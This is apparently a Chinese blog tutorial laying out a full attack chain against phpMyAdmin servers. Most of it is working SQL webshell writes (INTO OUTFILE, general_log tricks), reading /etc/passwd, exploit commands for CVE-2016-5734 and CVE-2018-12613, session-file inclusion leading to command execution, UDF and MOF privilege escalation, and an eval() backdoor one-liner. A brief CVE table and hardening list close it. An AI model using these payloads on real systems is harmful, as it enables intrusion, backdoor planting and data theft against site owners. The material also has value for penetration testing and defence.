当前位置：首页 > news >正文

【2025最新】phpMyAdmin渗透利用全链路：信息收集→漏洞探测→后渗透提权技巧

news 来源：原创 2025/5/18 17:27:55

一、信息收集与漏洞探测

1. 获取关键信息

2. 权限验证

3. 漏洞扫描

二、历史漏洞利用方法

1. 写入 Webshell

到了这个地步密码探索

2. 远程代码执行（RCE）

3. 提权与后渗透

4. 文件包含漏洞

三、高危历史漏洞列表

四、防御与加固建议

五、提醒

一、信息收集与漏洞探测

1. 获取关键信息

版本信息：访问 /readme.php、/changelog.php 等路径，或查看 /doc/html/index.html 获取版本号，判断是否存在已知漏洞。
绝对路径获取：
- 通过 phpinfo() 页面或报错信息（如注入单引号导致错误）暴露路径。
- 使用 SHOW VARIABLES LIKE '%datadir%'; 查看数据库路径，推测 Web 目录（如 /var/www/html）。
- 利用 SELECT load_file('/etc/passwd'); 读取系统文件。

2. 权限验证

检查写入权限：
```
SHOW VARIABLES LIKE 'secure_file_priv';
```
- 若值为空，可写入任意目录；若为 /tmp/，仅限该目录。
用户权限：执行 SHOW GRANTS; 确认是否为 root 或高权限账户。

3. 漏洞扫描

已知漏洞探测：
- 本地文件包含：测试 gis_data_editor.php?gis_data[gis_type]=/../../../../etc/passwd%00（需有效 token）。
- 反序列化漏洞：发送特定 POST 请求尝试读取 /etc/passwd（适用于 phpMyAdmin 2.x）。
- 跨站请求伪造 (CSRF)：构造恶意链接诱导管理员执行 SQL 操作（如删除数据库）。

二、历史漏洞利用方法

1. 写入 Webshell

直接写入：

SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

需满足：secure_file_priv 为空且已知 Web 路径。

通过日志记录 PHP 代码生成后门。
开启/关闭情况以及日志存储文件的位置
- 得知通过日志我们就可以进行其它渗透行为

Show variables like "general_log%"

日志文件写入：

SET GLOBAL general_log = 'ON';  设置打开日志
SET GLOBAL general_log_file =  "C:\\phpStudy\\www\\shell.php"; 日志记录的位置
SELECT '<?php eval($_POST["cmd"]); ?>'; 写入一句话木马
select "<?php system($_REQUEST[cmd]);?>" 系统执行命令

show variables like "general_log%" 来验证上述修改是否成功

植入木马后查看dir文件路径：

http://192.168.111.133/shell.php?cmd=dir

执行了dir命令发现yxcms，从这个命令像cms系统，我们试一下访问一下：

到了这个地步密码探索
- 从页面信息角度收集信息

2. 远程代码执行（RCE）

CVE-2016-5734（phpMyAdmin 4.3.0-4.6.2）：
- 利用 preg_replace 的 /e 修饰符漏洞执行命令：
```
python3 exploit.py -u root -p root -d test -c "system('id');" http://target.com
```
CVE-2018-12613（phpMyAdmin 4.8.0-4.8.1）：
- 构造 URL 包含远程文件或本地 Session 文件（需二次编码绕过检查）：
```
/index.php?target=db_sql.php%253f/../../../../tmp/sess_[session_id]
```

3. 提权与后渗透

UDF 提权（Windows/Linux）：
- 上传自定义 DLL/SO 文件到插件目录，创建函数执行系统命令：
```
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.dll';
SELECT sys_eval('whoami');
```
MOF 提权（Windows ≤ 2003）：
- 利用 MySQL 写入恶意 MOF 文件，系统每 5 秒执行一次命令。

4. 文件包含漏洞

phpmyadmin 4.8


http://192.168.96.133:2003/index.php?target=db_datadict.php%253f/../../../../../../../../etc/passwd

可以通过文件包含漏洞获取服务器权限，我们在选择sql菜单，然后在sql输入如下命令。
select "<?php echo 'pwd';?>"
执行sql语句会保存在PHPMyAdmin的临时session文件中
临时的session文件名称可通过bp抓取数据包获得
抓取任意数据包，数据包中Cookie字段phpMyAdmin值加上前追sess_就是临时session文件名
Cookie: phpMyAdmin=4a6dfc78f1c64493821a0c327bbca5e6; pma_lang=zh_CN
http://192.168.96.133:2003/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_4a6dfc78f1c64493821a0c327bbca5e6
这个时候<?php echo 'pwd';?>会以php代码的形式执行。在文件包好url的访问结果中【文件包含漏洞】我们可以获得服务器执行的pwd结果 我们知道当前的路径是/var/www/html[执行一句话木马的位置]

select '<?php echo `echo "<?php eval($_POST[Skull.]);?>" > /var/www/html/11113.php`;?>';

select '<?php echo `echo "<?php eval($_POST[Skull.]);?>" > /var/www/html/11113.php`;?>';

http://192.168.96.133:2003/1111.php

三、高危历史漏洞列表

漏洞编号	影响版本	利用方式	修复建议
CVE-2018-19968	4.0-4.8.3	本地文件包含读取敏感信息	升级至 4.8.4+
CVE-2016-5734	4.3.0-4.6.2	后台命令执行（需 PHP <5.4.7）	升级至 4.6.3+
CVE-2018-12613	4.8.0-4.8.1	远程文件包含	升级至 4.8.2+
WooYun-2016-199433	2.x	反序列化任意文件读取	禁用旧版本
CVE-2010-3055	2.11.x <2.11.10.1	通过 `setup.php` 执行任意代码	升级至 2.11.10.1+

四、防御与加固建议

访问控制：
- 限制 phpMyAdmin 仅允许内网或 VPN 访问，禁用外网暴露。
- 启用多因素认证（如 Google Authenticator）。
权限最小化：
- 为 MySQL 分配非 root 用户，禁用 FILE 和 EXECUTE 权限。
- 配置 secure_file_priv 限制文件读写目录。
安全更新：
- 及时升级至最新版本（当前最新为 phpMyAdmin 5.2.1）。
日志与监控：
- 开启审计日志，监控异常 SQL 操作（如 INTO OUTFILE）。
代码加固：
- 禁用危险函数（如 eval()、system()）。
- 使用 Web 应用防火墙（WAF）拦截恶意请求。